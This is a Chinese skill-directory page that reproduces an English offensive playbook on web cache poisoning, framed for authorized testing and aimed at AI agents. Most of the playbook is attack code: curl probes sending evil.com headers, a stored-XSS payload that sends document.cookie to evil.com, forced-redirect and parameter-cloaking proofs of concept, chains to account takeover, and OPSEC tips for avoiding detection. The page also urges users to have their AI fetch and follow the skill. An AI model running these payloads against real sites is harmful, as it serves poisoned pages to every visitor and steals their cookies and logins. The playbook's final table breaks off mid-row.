跳到正文
Skillpedia
安全6.5k · #14085

web-cache-poisoning

它能做什么

这份指南涵盖一类攻击:共享缓存存储了攻击者构造的响应,之后的访问者都会收到它。适合运行网页应用前端缓存和 CDN 的安全团队。

适用场景

  • ✓当授权测试想检查共享缓存是否使用了缓存键忽略的响应头时。
  • ✓当团队运行 CDN,并想确认转发的响应头是否得到安全处理时。
  • ✓当缓存的页面会把请求响应头反映到其内容或重定向中时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们的 CDN 为许多访问者缓存页面。请帮我检查是否有请求响应头能改变对所有人缓存的内容?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体检查缓存状态信号,测试源站可能反映的响应头,并确认被改动的响应是否会提供给一个干净的请求。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

Class Trigger Outcome
Standard unkeyed header X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs stored open-redirect / XSS
Scheme downgrade X-Forwarded-Scheme: http reflected force-HTTP cache → MITM
Port confusion X-Forwarded-Port: 1 reflected into JS asset URLs broken site DoS
Routing override X-Original-URL: /admin, X-Rewrite-URL cached admin page served to public
Fat GET GET with a body parsed by origin but unkeyed by cache inject params via body
Parameter cloaking ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) poisoned param survives
Key normalization flaw cache lowercases path, origin doesn't (or strips ;jsessionid) desync key vs. response
Cache-key injection via Vary gap response varies on header cache doesn't include per-attacker poisoning
HTTP/0.9 / smuggling-assist downstream cache stores smuggled response mass poisoning
Cache-Control overlap origin returns Cache-Control: private, CDN ignores it private response cached globally
Oversized-header DoS huge unkeyed header → origin 400, CDN caches 400 denial-of-service on the URL
404 / error caching error page cached with attacker payload reflected DoS + stored XSS

3. Exploit PoC

3.1 Stored-XSS via unkeyed Host

# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'

3.2 Forced redirect

curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)

3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)

curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"

4. Chains

  • Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
  • Cache poisoning → ATO: poison /login to send creds to attacker via swapped form action.
  • Cache poisoning → SSRF: poison API responses an internal job consumes.
  • Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.

5. Tools

  • Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
  • cache-poisoning payload lists (PortSwigger research)
  • httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Repeated X-Forwarded-* permutations on one URL WAF rule / access log Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests
Sudden cache HIT containing attacker host CDN log rev
常见问题

它与缓存欺骗有何不同?

该指南指出,缓存欺骗存储的是受害者的私人页面,而投毒改变的是共享缓存提供给所有人的内容。

什么是未参与缓存键的输入?

它是缓存在构建键时忽略的响应头或参数,但应用仍会在响应中使用它。

它会造成什么影响?

该指南指出,影响可以从页面被篡改到重定向和跨站脚本不等。

详情

作者的原始描述

Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14085
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能